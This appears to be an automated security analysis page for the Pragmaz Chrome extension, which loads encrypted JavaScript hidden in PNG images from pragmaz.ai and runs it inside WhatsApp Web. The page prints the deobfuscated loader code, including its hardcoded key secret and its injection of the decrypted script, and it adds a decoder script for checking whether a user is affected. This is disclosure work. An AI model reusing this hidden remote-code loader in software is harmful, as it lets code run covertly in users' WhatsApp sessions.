Is Pragmaz safe?

Medium risk

Pragmaz loads encrypted JavaScript hidden in PNG images from pragmaz.ai and runs it inside WhatsApp Web.

The extension fetches images from pragmaz.ai, unpacks an AES-encrypted script from the pixel data, decrypts it with a key built from a hardcoded secret, and executes it in the web.whatsapp.com page, where it can reach WhatsApp Web's internal data. The script is supplied by the vendor's server and is not included in the extension. A separate optional proxy feature routes WhatsApp Web traffic through a Bright Data proxy using credentials built into the extension.

pragmazv1.7Chrome Web Store
49Risk
Who publishes it

pragmaz - no other listings under this identity, 5 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
pragmaz

Shared hosts - 5 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

pragmaz.ai
Also called by 1 other listing: WhatsUp+
stevenbenner.com
Also called by 1 other listing: AudioZap
stevenbenner.github.io
Also called by 1 other listing: AudioZap
wup.plus
Also called by 1 other listing: Whatsapp Plus
mikemurko.com
Also called by 2 other listings, including AudioZap

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

WhatsApp Web helper runs server-supplied code decoded from pragmaz.ai PNG images

Code analysis shows the extension fetches PNG images from pragmaz.ai, decrypts bytes in the pixels, and runs the result as script in the web.whatsapp.com page.

The payload is not in the package.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Static analysis
What actually happens
You did this

You open WhatsApp Web with a Pragmaz licence set.

The extension did this

The extension downloads a PNG from pragmaz.ai and runs code decoded from it in the page.

The code that does this

PNG fetch, pixel unpacking and decryption

Readable version

Loader function b(license, user)

deobfuscated/js/public/pragmaz-dropzone.js
        async function b(e, t) {          if (window.WUPE?.__premiumLoaded) return console.log("[WUP] Already loaded"), !0;          try {            console.log("[WUP] Starting...");            const n = await new Promise(((n, a) => {                const o = new Image;                o.crossOrigin = "anonymous", o.onload = function() {                  console.log("[WUP] Image:", o.width, "x", o.height);                  const e = document.createElement("canvas"),                    t = e.getContext("2d");                  e.width = o.width, e.height = o.height, t.drawImage(o, 0, 0);                  const a = t.getImageData(0, 0, e.width, e.height).data,                    s = [];                  for (let e = 0; e < a.length; e += 4) s.push(a[e]), s.push(a[e + 1]), s.push(a[e + 2]);                  console.log("[WUP] Buffer:", s.length, "bytes"), console.log("[WUP] Header:", s.slice(0, 12));                  let i = 0;                  for (let e = 1; e <= 8; e++) i = 256 * i + s[e];                  console.log("[WUP] Encrypted size:", i);                  const r = new Uint8Array(s.slice(9, 9 + i));                  console.log("[WUP] Extracted:", r.length, "bytes"), n(r)                }, o.onerror = e => {                  console.error("[WUP] Image error:", e), a(e)                }, o.src = `https://pragmaz.ai/lafp.png?l=${e}&p=${t}&_=${Date.now()}`              })),              a = Math.floor(Date.now() / 1e3),              o = "CHG_THIS_SECRET_2025";            console.log("[WUP] Timestamp:", a);            for (let s = -15; s <= 15; s++) {              const i = a + s;              try {                const a = await crypto.subtle.digest("SHA-512", (new TextEncoder).encode(`${e}:${t}:${i}:${o}`)),                  r = new Uint8Array(a),                  l = await crypto.subtle.importKey("raw", r.slice(0, 32), {                    name: "AES-CBC",                    length: 256                  }, !1, ["decrypt"]),                  c = await crypto.subtle.decrypt({                    name: "AES-CBC",                    iv: r.slice(32, 48)                  }, l, n),                  d = (new TextDecoder).decode(c);                if (d.includes(`/*T:${i}*/`)) {                  console.log(`[WUP] ✓ Success (offset: ${s}s)`);                  const e = d.replace(/\/\*T:\d+\*\/\n/, ""),                    t = document.createElement("script");                  return t.textContent = e, document.head.appendChild(t), setTimeout((() => t.remove()), 100), window.WUPE.__premiumLoaded = !0, !0                }              } catch (e) {                15 === s && console.error("[WUP] All failed:", e.name)              }
The code that does this

Decrypted text is executed

Readable version

Blob import with new Function fallback

deobfuscated/js/public/pragmaz-dropzone.js
                  }, c, o),                  p = (new TextDecoder).decode(d);                if (p.includes(`/*T:${r}*/`)) {                  console.log(`[WUP] ✓ Decrypted (offset: ${a}s)`);                  const e = p.replace(/\/\*T:\d+\*\/\n/, ""),                    t = new Blob([e], {                      type: "application/javascript"                    }),                    o = URL.createObjectURL(t);                  try {                    await n(63)(o)                  } catch (t) {                    new Function(e)()                  } finally {                    URL.revokeObjectURL(o)                  }                  return window.WUPE.__premiumLoaded = !0, console.log("[WUP] ✓ Premium loaded"), !0                }              } catch (e) {                15 === a && console.error("[WUP] ✗ Failed:", e.name)              }
Request parameters and loader inputs
  • Licence
    l=LIC-4F2A91C7

    Your Pragmaz licence value is sent in the PNG request.

  • User
    p=5511987654321

    A user identifier is sent alongside the licence.

  • Timestamp
    _=1759312000123

    Cache-busting value that also feeds the key schedule.

  • Hardcoded constant
    CHG_THIS_SECRET_2025

    Fixed string mixed into the AES key derivation.

Endpoints used by the loader
    • pragmaz.ai

    Serves lafp.png, checkers.png and madata.png carrying the encrypted code.

Check if you're affected

Extracts pixel bytes from a pragmaz.ai PNG and tries the extension's AES-CBC key schedule.

Requires
  • Modern browser with WebCrypto
pragmaz_png_decoder.js · js
// Offline decoder sketch: extract bytes from a pragmaz.ai PNG, then try the AES-CBC key schedule.// Run in a browser console on any page with a downloaded PNG (same-origin or CORS-enabled).async function extract(url){  const img=new Image(); img.crossOrigin="anonymous";  await new Promise((ok,no)=>{img.onload=ok;img.onerror=no;img.src=url});  const c=document.createElement("canvas"); c.width=img.width; c.height=img.height;  const x=c.getContext("2d"); x.drawImage(img,0,0);  const d=x.getImageData(0,0,c.width,c.height).data, b=[];  for(let i=0;i<d.length;i+=4){b.push(d[i],d[i+1],d[i+2]);}  let n=0; for(let i=1;i<=8;i++) n=256*n+b[i];  return new Uint8Array(b.slice(9,9+n));}async function tryDecrypt(buf,license,user,ts){  const key0="CHG_THIS_SECRET_2025";  for(let off=-15;off<=15;off++){    const t=ts+off;    const h=new Uint8Array(await crypto.subtle.digest("SHA-512",new TextEncoder().encode(license+":"+user+":"+t+":"+key0)));    try{      const k=await crypto.subtle.importKey("raw",h.slice(0,32),{name:"AES-CBC"},false,["decrypt"]);      const p=new TextDecoder().decode(await crypto.subtle.decrypt({name:"AES-CBC",iv:h.slice(32,48)},k,buf));      if(p.includes("/*T:"+t+"*/")) return p;    }catch(e){}  }  return null;}
How to run it
  1. 1Obtain a PNG response with a valid licence.
  2. 2Paste the script into a browser console.
  3. 3Call extract(url), then tryDecrypt(buf, license, user, unixSeconds).
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Pragmaz contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • zproxy.lum-superproxy.io

    Pragmaz sends data to zproxy.lum-superproxy.io. One other extension we have analysed sends data here.

  • pragmaz.ai

    Pragmaz sends data to pragmaz.ai. No other extension we have analysed sends data here.

Updated 15 October 2026lddaflngpimiapnbfaindmghndbnjcgm